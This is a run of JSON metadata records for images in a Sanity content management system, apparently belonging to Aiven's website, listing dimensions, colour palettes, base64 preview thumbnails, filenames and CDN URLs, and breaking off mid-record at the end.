{"_createdAt":"2024-08-01T13:49:28Z","_id":"image-81e7b06280ff2e9b74914b560ff6f500d66b0e10-321x228-png","_rev":"YaKEzcVhnb7P0fmfvFUu9L","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:10:18Z","altText":"Zoltán Lámer","assetId":"81e7b06280ff2e9b74914b560ff6f500d66b0e10","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGK15kRjG^_2^4t7t7V[aeayAEoe-9NHM{kDofxZaeM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4078947368421053,"height":228,"width":321},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADGklEQVQ4jVXT60tbZxzA8fxx68BtbW1pO7WWUq1xNV5iVdR4y8UYrZc4czvJOTknOfeTexyyKmVsA6Fssks76MYuL8ZgbzrYf/AdTxLLfPHl9+KBDz94nsfX9Ayark7d0ak5ZWp2GVdXSe1uMT/+kE/u9DF9r4+FB/2sT47waSKMLmextQKWWsAs5jEUCV0kS/haAvQMGq5B3dU7oJxOsjw5xtPBj3g2dgdl/hHasp/s/AiHSwEKBwlMNY+tyT20gNGB8/jaFZOWZ9Lo5Zka+7FV5oZvsTfaz2k8wCs1xs9Okgs5SnsrSDGxgl7IYJeLWALVZEy1gKEWBGjRqlg0PTFtnLLCVugpy8M3KAUH+T63zN+fZfn3S4d/nhf5SYvRTK5h5I+wdbWD2iUFS1MwNRlfu2rTqto0K91pqXmi8wEWBvqQp+7xMrXEn+0sb7+weHuq8quzw5m0iVPM4Ogajq7iCLQH+9pVh1avpmtSOtplzT/M3O33SI7dphGe4KUU4Rf3kDfWHhdKhFMpTkXN4RrauzqwruJr13pgzaVp68jxNVaHbrB+932UqSGqoXFOojN8k9ngWynCeWqFF+kwjWIaz9DwzFKnS9jXrrkIVMymayAnwqwM3SQ+9AGtkJ+zzSAn4RkucjF+d5O8KcU5z0ZoF1NUzBIVq9zpEu6B3cSlaKl91sfuExu+TmPFz2l0hpNwkO/yCf5qZPnN2uXrfJyWlqNq61cS8BVQZBUlNmefEHnYj704yklkmhebC/yY3+YP95AftC0+l3ao6Qp116TuGNR6CfQKeFz38HSV7cUZQvevkw0Mchye5PxglVfKNq9LCb7KRWhI+9SsEnXP6qK9BOo7rnchkbgcLZ9hPfiEqf5rhO5eIxcYoLk+wfOtWU4SszT2QlSVVOcTiKfW8Kx3CbSzoTjwrDJS+oiNlRAL/scsDNxkdeBDdh7dIj3xMcrsA6y1ANZeFDVzhKEVOxsJ6P+wT2xl6xoHu88ITAR4POInMjdPcmYcKTiKtjhOeWmcSnias8w21XyWyEaUWDSGWpCoud1NL/sPUPkI5Vm2PicAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#634337","foreground":"#fff","population":5.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b3729","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4aca3","foreground":"#000","population":13.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4aca3","foreground":"#000","population":13.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b297","foreground":"#000","population":10.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6e5c","foreground":"#fff","population":10.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3907b","foreground":"#000","population":5.96,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"zoltan-lamer.png","path":"images/sczeoy4w/production/81e7b06280ff2e9b74914b560ff6f500d66b0e10-321x228.png","sha1hash":"81e7b06280ff2e9b74914b560ff6f500d66b0e10","size":118918,"title":null,"uploadId":"tYz0S2kRrfHGNFZJka3uS3XgAgAstUJ7","url":"https://cdn.sanity.io/images/sczeoy4w/production/81e7b06280ff2e9b74914b560ff6f500d66b0e10-321x228.png"} {"_createdAt":"2024-09-27T15:37:31Z","_id":"image-0f8776ca68e26afccda7779ed5f5e64d014f33a8-1422x1006-png","_rev":"evT155FkQuDmo97JpeBfpQ","_type":"sanity.imageAsset","_updatedAt":"2024-09-27T15:37:31Z","assetId":"0f8776ca68e26afccda7779ed5f5e64d014f33a8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKN0SYg4%2%200@YozxEnOTJ8wRjnOwc%#{eD%ni%2OE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4135188866799204,"height":1006,"width":1422},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEbElEQVQ4jR2Qe0wTdwDHL1mYConMDVmyR7LoFoIPptMYcGxu2bIENwfEuBnZBKdMAjig9QWCY1p5uAFFNErVGJnOLmwI8lSBA6EPWspAaKtIX9fH9R793fV6d+2Vllvwj0++/3zyzTdfiPvp7R1LxUlnxNKNClGSohClW66LkpSGcOEHWabM+DUQBEGaz6AYoWD9VrF08xmxdJNCLNmgeOkvU7LxxtIvGy5HCt8/yOQkrIVmc5LSnx3e9rv5SGqn6eePu8xH07usRZ+0kWcyirCWwmTZedmKS1tfiTHlbt5hzk+9aMrf2WnKT+sy56fedxSldXCnP+2Mlu+8IRzbkPM867W10K2qqs+vnjrbKi+rVDdJqrRy6Vm1UlYzaO1sU3LTw1L7jC6p4VzVipsVlWktxyuvNZZWquSSKm2z9KzqH5kMdiovDS4OXGvxK2t2tXy1Lg4aHtF99/DxxGh3r5rp6dcE+h7q/GrVNMCsCz4ed42SHlfWI3hs9RCs2907oIG7elT+3n5toP+RjtGqp6llL+TzDlMkkVkoObUKslpteS6XZ9rtRkUMJ0WSBCJF0SLPcWKQ555RFDg4MzMVb7XavrDZkHa73Wl0u70mFMWNBE7MMjRl5FmmC/jIzPKKiljI6URySZIwAOBbYtlANBjko+FwOBKJRJYEQTCRpC9PcV255u69vs2dD0ZLO7qeNHb3qhs1E3PnUBQ7wVLkccaH57qcSPKerOwVEIIgeTiOT5MkKTIMI3LLy4JBURCE5XxuMluLs/ZVfnisrHm3rO6O/LcLd/ov1N/rv/PX4F2bBWkSAv6LvJ8q8XrcKbu/2fMqZLfb9xIE0Q0AsLBsYIHjOAvHssvYWJYdVGuf5mdknt51+eq/hUOwXjPy5D9epZ4Nmo0LdIAkvNGwgC4uLsI0Te8tLy+PhTRafYphynh0Qm+U6SdNsjmj5VeP23PKT2AnAIEdUqkNWw4X1L6j08/84HS6DDhOiDTtF1kaiGG/T4yGeDEihMwMBQ7V1NbGQbdudySfq2krkJ5ubZCcbG2q+0NZrRqbOur3un70oe6MubnZd4eHBlYhiCMbRVEdACDCsmyUZwNRPsBEQwy1FKaIOQb35NXU1cdBGu3Utz196h5l+zD6dzvsfTxksCIIahBCIVWQ59swDPtyaBhe7UCQbK8XmwQAvPyaZVmR53lR4AJimAFmhsTyapcL5+df7LfaENhicZA2u4t0ezDCzwSwcDiMBYPBcYIk942NwPH2hRdfo27XIEEQXooCGENTOM+xeFgI4UIwOAZ8vv3V1dWx0Nzs7DYU9RQTBC4DwCejKEpG0/QFhmFqAABldofjo+7brXEv4AfbHU91Jx2WhXqXw36RsD2X+5y2RgLH6lEvJpmfn9+ec+DASkihuB4LwyOva7UTiRMT+kSdTp84aTAkGgyGxPGxsTf+bL+/Uv59eoymLOPN8fNHktrkdevamuvXaxqlm0abK5JvXml+r6FJ/tYJqWR1QkJCzP+8mg26BEn9DQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3161","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5500a","foreground":"#fff","population":3.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9298c1","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07a50","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5500a","foreground":"#fff","population":3.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven Standard vs. BYOC final.png","path":"images/sczeoy4w/production/0f8776ca68e26afccda7779ed5f5e64d014f33a8-1422x1006.png","sha1hash":"0f8776ca68e26afccda7779ed5f5e64d014f33a8","size":75268,"uploadId":"BdUrFJhKIKIbkXpJi0gXTsBxsBE4eBbe","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f8776ca68e26afccda7779ed5f5e64d014f33a8-1422x1006.png"} {"_createdAt":"2024-11-04T14:22:50Z","_id":"image-b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d-1160x1226-png","_rev":"U360V83F77Z1JcZt4QM1UV","_type":"sanity.imageAsset","_updatedAt":"2024-11-04T14:22:50Z","assetId":"b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCG*ys%M00e-t--qayIUWBofTBbbXVkW#Q4-WB^,t7M_0LRj00M{~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9461663947797716,"height":1226,"width":1160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAAFhklEQVR4nIWVC0wURxzGV96gBaFaRUXlEGmhVBAUENAo1tBCbaW9mGhaLakUaTBBW9NadQViTKzEqEn1rC0GMJgrCNrzxFJzPE4KenLSuxPu9l77ftxr7wFn8GCaRZvaqOkmk83M7v7m++Y/8y0EQRAEAJj1QoOgWTzPx7nd9hyf21cCnvi3APA4FQAwG3rZ+wDMgl52PXsYpJJIQh97PG/xducRjnH86nF5Lgf8/vLx8fHFCoUiRCqVBr8UYjAYwgkEScDN+CobRWX5XK5MnmWT1ArFXD/Pi5wE8RWuR36hzOZzHpb9xOv1LhgcHIxG9XoRYSEyOKt1tdfhSANe7xsAgBCIYZgFlBX/1DBmuWA2Ys021n7R53LtcZLkUhKAKO7h3Uxz760vLf3dOzDtgxUAgAg7hi2mUWI3Mma9oNMgLSRGNvgcjmIwbY+GfD52oZ2md1sMlibjI+QGhZGNHs7xxYTDkaDVasO43vZ47HbLekzevAYb6IoTVPg4Lt7Fsp+jiLllVKPvQE3omafA6WhhzSLchGklph7Yid7vq6HGHha7bbYUmna8zXETGzice5/S6MvIMctHDOMqIknPmzzPx/oshkyH7n4lNaLahev1OV6GWQBUqtCZIgw2N0cjsqZ1xlstZUz3FZHVysWTjGeP3e7vIDS2PlQ+2kv1W/to1NPFcBOHUJRNIno7Epx3b5a6h27lOVXdMUKhYBgOgoRq3bghiRrtPLcIbT2ThEkb4qxWOtHmGK+10z6rSWaYfHS4a9J67m6AHrF7ac7fjhvwXFfj6bmu6xcTWVnjwoEBaaRcfiZcYEEwDIc0NjZGaKVw2HR1cTiAd0WgelREs+N1hIVH1S0jAWXVtcBfdX9MmQfpCSs2fhPVo4WYODdyunpFOBBDwQqFwIAjBBYkkUhCBaAChkOAVBwMFHCIoBAlvXUGhEf//B0J9P58b0p1TTetGWb8YyaXzIqw61QVFaFALA4WDoCgTGAILMFymNCZ2agwHCTc1erR5aoRtG5IjaE9SiSg6BmbUg6YppVDZv/APZNsaAjJe35jS58BBdZ/FYrFwcLM9QfOJh461lJ77LgUPX6yPXCioT1w4lT71NHjV/3fHr4s++7rs/mqiqynCgF4QeFMRwHDEaAmNxKIcyPLsneIVq2pqs3fdNBavPXIZOk2eLJk29En6989OJ6Rvfe3tenbC8nS+CggXhIJJFmh/4h6WhQAgm7fbpo92np+OdV5PpW8cmreupSti5JTy/dk5e27nr9pv7Jg44H+9UUHlGsL9/WsTCs/tTLx43ewhpo4W+fpFLPs0jKFVDpHsDsDFILApOqOoe60rSd627bjPW3J4g1Vc9Kzy1Oyc/duXpu3t6Qgr7K0oKCyNCen8r20jN1rlqbviEW6WhOY3msfMn0dRdSwfL5KpQqdWVMAwGvCAad1D8ptOtU3bsL0wYTTuaypqWn2kiW5kQ01NXF3TtYntdXXL6veWR2dmioOk8vl4bRuKI1SD1ZYhu9VEUZjkYMgEoBWGwY95tzJDMF8b0YsMsJC3LGzXLOX58Vut/t1wYJN2bmIUrQXoz0dhWi/LFYYczqdMW6aLrHozT+Nagw3TQaLxMlxpcDpjIH8vF/koLj9JiPWZDLiV3GM/JGlqLKZFKKo+axGnU/dV1biw4OfETpdJoqisTyKxrpoehNqwmu1GuQ8Mmap99psGwW3guUonmFEBEFkWK3kagzD0jG9frGHJOfxdvtmBid/MD5CpIZRpBVHyWM8ZcsW8lCYDDfiyVqtIRVBsBVCus/k4asS2+VyzR13u7faGMclxEDI9XpUTuDUWQ/L5mPYQOS/sf8/v4DnwGGA50U+lt1CWfAy3Ggps+H4RsBx8QCA4Fd9+DcjKvTViS305wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3040","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#591206","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9b5a8","foreground":"#000","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b5a8","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e498db","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6088","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb2d83","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"loan requests.png","path":"images/sczeoy4w/production/b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d-1160x1226.png","sha1hash":"b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d","size":83063,"uploadId":"ylu3csNuvJHX5aaSnFcze5r8zONcIz2v","url":"https://cdn.sanity.io/images/sczeoy4w/production/b0942fd7dea56e83adb49f4f2ebefdd2ec67f51d-1160x1226.png"} {"_createdAt":"2024-08-14T14:20:46Z","_id":"image-a634e52295bebf98653561d6c6683c5de4272c49-1200x630-png","_rev":"sHbBcT8XxHNdQpuCRATlou","_type":"sanity.imageAsset","_updatedAt":"2024-08-20T13:22:41Z","altText":null,"assetId":"a634e52295bebf98653561d6c6683c5de4272c49","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85#ub-gRMV{V?-@tLR*R-WBRQn~xbjuV?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACgklEQVQokU2TaU9TQRSG7w9A6HL3/d620hawWogoJGgiiwvSIooGECsCsrRUZBNFrbihJmj8w4+ZKVE/THK+zHOec94Z5Zw+TZcxQ8KaJWnPkXYWUb0ldH8VPdjACBsY8TZmZg87e4hz/h1u9zFe4Qte8Rte4StOdws790YeJWnNEBVq9JTX6e2v01Peom/gJb0DewT5JnrQQA9fYES7mJlX2Lm3uN0f/gN+liAz3sWMd1A0/yH9ww3GJ4+4WWkxdqfFjdvHjN75zKWrb8j27ZO9cEi2dESu1CJX+kjU+0mCvMIJbv6jtNdD0XirDSwP1SXwVrXFzYqAHTMx9ZXxuyeMTX5nonLK2NQvRid/c/3Wby5cOcHLv5O2du4II9qWQGGpJKwZ4mKN0uVNLl1pUr66Q2lwl/LQIYPX3jN84xMjE98YmfjByPgpw6M/KQ58wIpfoPkbaEEdzV9HD+rSVBGhJK37qO4jNH8BI3iKES5jRms4mQZubhuvew+/8Iqw+Jaw+B4nd4Dmr5Gyn5C0F0naj0m5SxKqdGhVOrRpOrQZOvWHdJnzJO0aKWcZ1VtD8+toYRM9eokZH2BlX2PEu6jec9LuM9LeKimnJsGqvyYMqySMaVLWA9LOHGl3kbS7hOqttEcJ6+jBJpp4QlETK7Mvd9UedwMj3kELNkk5T6WlkjIqZNwq+cwc53tXyfSsY0YrqO4ZMNhEPbMQRuKyEbX3Jyz1sClrMXanMYuimhUKfoVSfp6+8gb5iw3sePU/YJ20t0LCmidhzclaBPGvybK0EzCRh9KpV1HNaXRnFsNfQA9q8qek/wIbqP46CXtBAoWVAArbdpN5usxHnNPvIfL4A4NRcQHCjb3zAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#683c66","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":11.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":11.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac2","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acb4d9","foreground":"#000","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7094","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c04146","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-for-vector-databases.png","path":"images/sczeoy4w/production/a634e52295bebf98653561d6c6683c5de4272c49-1200x630.png","sha1hash":"a634e52295bebf98653561d6c6683c5de4272c49","size":145461,"title":null,"uploadId":"LspjITgjZ0F1PYdUApR8Zl41PzmcsJCB","url":"https://cdn.sanity.io/images/sczeoy4w/production/a634e52295bebf98653561d6c6683c5de4272c49-1200x630.png"} {"_createdAt":"2024-08-23T17:03:24Z","_id":"image-1fff6ed76534a1a78d5a621c932400a223eccab7-800x800-jpg","_rev":"uoxN7hjTZfWhT8KF30iYQg","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T07:27:59Z","altText":null,"assetId":"1fff6ed76534a1a78d5a621c932400a223eccab7","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ekM?#dt7_Nofs;~Wofbbt6MxIoWBRPWCofRjays.aykWkCofoLj@R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcEBQgG/8QAJBAAAQQBAwQDAQAAAAAAAAAAAQACAwQFBhESBxQhQRNRYaH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEBQP/xAAaEQEAAwEBAQAAAAAAAAAAAAABAAIxEQMy/9oADAMBAAIRAxEAPwC562bPWwF6akD3DYzwI9H7U/6fVnwZIBl+3bMzC+cTvDg0/i2PUzWXyNuYjGuAcN45ZPf6ApXpbPXsDfL4pX8A3iRJ5Gyn2t23TDZS8gKJbXJ0lHCOIRYuHyLL+MrWmEbSsDkWxDvZzlqixI3V2WAd47py8/m5Xxvc5h2JjKIh1+mLcJd+lFmWbQmMdI7c8CP6iIk1wh3Z/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#855d3a","foreground":"#fff","population":9.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c2e10","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#95714d","foreground":"#fff","population":9.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc1b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9aa8e","foreground":"#000","population":1.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#95714d","foreground":"#fff","population":9.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c66249","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"kyle-kearns.jpeg","path":"images/sczeoy4w/production/1fff6ed76534a1a78d5a621c932400a223eccab7-800x800.jpg","sha1hash":"1fff6ed76534a1a78d5a621c932400a223eccab7","size":96825,"title":null,"uploadId":"1syXPWYJ9VN2kgs55VdRdE7O7PX5sIeC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1fff6ed76534a1a78d5a621c932400a223eccab7-800x800.jpg"} {"_createdAt":"2024-08-26T18:02:43Z","_id":"image-274ec92d3a0ae74268eb20a1ee3d045cb3a068a7-512x512-png","_rev":"aWoy619Wq5MYH4feSQVbpP","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T07:27:35Z","altText":null,"assetId":"274ec92d3a0ae74268eb20a1ee3d045cb3a068a7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOKwkDqs_No#VY${o~aJt7NHOYOZMyV@o}?GjER+WWs:xvj[M{W=WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEj0lEQVQ4jSXL3W8SBwAA8Psr9rKHJVv2sCx70BdjXBZ1i0mNcW21atRh64rGVluL0paWAi0fd0Ch0PJNP6hAKXB3HMfncR8cd8dVWqBAW2zddF2NZsucWZb9AYua/F5/ABn3UrCbgR3vIQ4WdXGYl0+t8JkQn1sXiDhfQHgS5SmMI5MfYDyJlUl0o4AAFOylEXcRcX7Eom4O83H4SglfLaZCXC4mkAmBwgQ6yVP4B0mBTpaphEgiAIN6i6ibRZ0s4ngPdRURTypoX7Zp5kHFstOYgVe5QkKgP0w6JdB4mcHLDCaQCFBCnSVkoQTb2fgcG5tjonNxj3Zq6Fb3uVPfnzx26fzZKflgPOQrkRhHpz/imTRP42wBBQR4jo9buKi5FIHYNSjtV+uGrnec+Pr4Z5+c/OLTM9982Xn21PTEoxQWYelMkUozVKbIZBgqTeQTwEbMJEZNQgTiwvpSSBezjgz3nO469nnvia9GO06OXzzT33F6SNobCCzliAxRyJBUlmTyBJ3P5nFgM2asRI1iBBTCOi44EzUPTd344fG546bu73x9F+y9nRPXLsrvSd0+P5rOpvJEjqIItkgUmSyRBepxYzUGVdb1YljLBzW4fcQx0KXtOgV1feu4eV5/pWO058K07OFiIAxnKaxQTNFcnhMLXDlHkUATMW7HwWpUX1nTiiEN7ZLHx274JOfcV896JRdMN37U3brqUKsiMQyjBLwopkuVglijN6oEywI7CVMTgepxQ3Vdt7k2I/gVpFaaGupB+y+GpJf99yRLjx6s2WzJDJ0V6rnyNiE2mWqbrbYoXgD2MONOAmoghnpcV13XVoIqYX6EVEgwadeT3kvLA7cjM6rkWozga9RWm67uM7UDrvVCaB4UxadAGwN3E4YWamjAunpsZjOkYh2y3IQEkXYGJd2Bwf4wqENhvLCxw27/yjVfcjuHG89eV9qH3GYVeIZDe5h+B9U1EW0tqi64ZZGpW/DIFez+ZfjBzcjY/UWN0j5rDyEEtbVf3nu1sf+m+uKv2i+vhdo2sJ+2tpOGFjrTgKfF4ERQJ7Xe6QwPdOOPriPjUnhmzDshl/XfUUxq13CG33219eJt8+ifxm9/ittN4FnGtovp63GNGFZmPXKPSmq82xO8fyU93otrhlOQakU1NiyR9P3UB1lcOXFv6+W73df/7f7+9mljB2gmoEp0mg4okx5F2CJzae6ZZX3eh9dR5c0seAc3DvvVstGBwZ8lt0fH1UGMYVtHjaN/d4/ebbbaAB/SpHxT6wvKoF25YlF49DLL5KB59PaS6hoMdodBiVXzeFyueDj8WK2bXVxPY2xdaL9pHP5d2TkAEh7VE9vUslW1apsO2KaXLBqHQQEqR8yqAS9412MeNRshncEKzjqdK9EATKxnuPzT/crzP8qt50DAOuk3K5esmlW7LjBvCMxDPot2dmbCpFW75kweh91mdyx4n/hD2CqcC6GFcJJJFutc67DUOABcBrkLUixapwPzhtUFaNVhWrKBNlBtMYJ+t2vR65lfcHoD0eD7mQ8niBBGxgmR2tov1tr/AxLW6TXka8ruAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f271f","foreground":"#fff","population":7.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d6b37","foreground":"#fff","population":1.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a16c5a","foreground":"#fff","population":8.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdcbd7","foreground":"#000","population":7.87,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb795","foreground":"#000","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a16c5a","foreground":"#fff","population":8.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4745b","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"michael-tansini.png","path":"images/sczeoy4w/production/274ec92d3a0ae74268eb20a1ee3d045cb3a068a7-512x512.png","sha1hash":"274ec92d3a0ae74268eb20a1ee3d045cb3a068a7","size":407496,"title":null,"uploadId":"WeeaCb3nWg85h8VWqJdOBNInwv4ZD9X7","url":"https://cdn.sanity.io/images/sczeoy4w/production/274ec92d3a0ae74268eb20a1ee3d045cb3a068a7-512x512.png"} {"_createdAt":"2024-10-04T07:50:16Z","_id":"image-e37c98d7adb8b575350214d9374a70446741b90b-1966x1106-jpg","_rev":"WvYfyMjuvK5pr969lQp32j","_type":"sanity.imageAsset","_updatedAt":"2024-10-04T08:38:08Z","altText":null,"assetId":"e37c98d7adb8b575350214d9374a70446741b90b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M02F$tkFj{kFfRokfRfRflfljvj^fPf6ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775768535262206,"height":1106,"width":1966},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEH/8QAFxABAAMAAAAAAAAAAAAAAAAAAAExQf/EABYBAQEBAAAAAAAAAAAAAAAAAAEEBv/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMARTWpRgsUEv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a247e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c61","foreground":"#fff","population":85.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c61","foreground":"#fff","population":85.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a247e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919ae8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1a247e","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b3dd3","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"bg-dark-blue-pattern-full.jpg","path":"images/sczeoy4w/production/e37c98d7adb8b575350214d9374a70446741b90b-1966x1106.jpg","sha1hash":"e37c98d7adb8b575350214d9374a70446741b90b","size":64589,"title":null,"uploadId":"f6577CNE2f7J0JVnvIGR7IUJRnoOs97T","url":"https://cdn.sanity.io/